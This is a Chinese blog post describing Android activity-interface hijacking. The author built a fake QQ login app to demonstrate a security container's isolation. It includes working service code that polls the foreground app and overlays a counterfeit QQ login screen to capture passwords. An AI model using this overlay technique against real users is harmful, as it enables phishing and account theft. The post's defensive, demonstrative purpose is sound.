activity界面劫持--qq钓鱼应用分析

来源:互联网 发布:linux的tar xvf 编辑:程序博客网 时间:2024/05/01 18:12

    "在其位谋其政 任其职尽其责",既然进入了安全领域就应该做出一点相关的成果出来,否则就是名不符实,而我今天总算做出了一点真正和安全相关的东西了,记录于此。

我的项目组做的是一个叫安全容器的东西,大致上就是在系统中虚拟出另外一个操作环境与普通环境隔离开来,这个环境可以进行一些安全度高的操作,比如支付,并且保证不被普通环境影响。主要是针对政府企业单位的产品,最大的亮点当然就是这个隔离性了。

   但是在很长一段时间,我们在demo场景演示中只有  存储隔离(比如容器内外拍的照互相不能看到)、运行隔离(比如容器内外可以同时运行qq登录不同的帐号互补影响)。这些也能说明隔离,但是最有力直接的证明这个容器的安全性还是通过:手机上装上病毒、木马、钓鱼应用,容器外的密码被盗取,而容器内不受影响。这才是最直接有效的证明其安全性的方式。但奈何团队中都没有安全背景,很长一段时间都不知道常见的攻击行为是怎样的,也就没能设计一个典型的攻击场景进入到demo中。

  正好这段时间接触到了针对android系统专有的activity界面劫持问题,研究了一下发现这个攻击行为能很好的证明容器的隔离性。实际上原理很简单就是木马应用在后台轮询当前正在打开的activity,如果发现是qq,就会弹出一个仿照的qq登录界面覆盖真正的qq,从而诱导用户在假的页面上输入帐号密码,唉,我试着做完这个钓鱼应用之后,发现对于小白来说根本无法辨别,只能坐当肉鸡啊。好了,不多说了,下面上代码。

一个后台setrvice监听打开的activity,  关键代码

    final ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
        new Thread(){   
            @Override
            public void run() {
                super.run();
                while(!mStopService){
                    String pkgName = activityManager  
                            .getRunningTasks(1).get(0).topActivity.getPackageName();
//                    Log.v(TAG, "comint activity:"+pkgName);
                    for(String targetname: targetComponents){
                        if(targetname.equals(pkgName)){
                            hijacking(pkgName);
                            break;
                        }
                    }
                    
                    try {
                        sleep(300);
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            }
        }.start();

     private void hijacking(String pkgName) {  
        if(targetComponents[0].equals(pkgName)){//QQ
//            Log.v(TAG, "给我吧,qq:"+pkgName);
            Intent intent = new Intent(this, CopyQQLoginActivity.class);
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);//弹出山寨版qq登录界面
        }
    }  


0 0
原创粉丝点击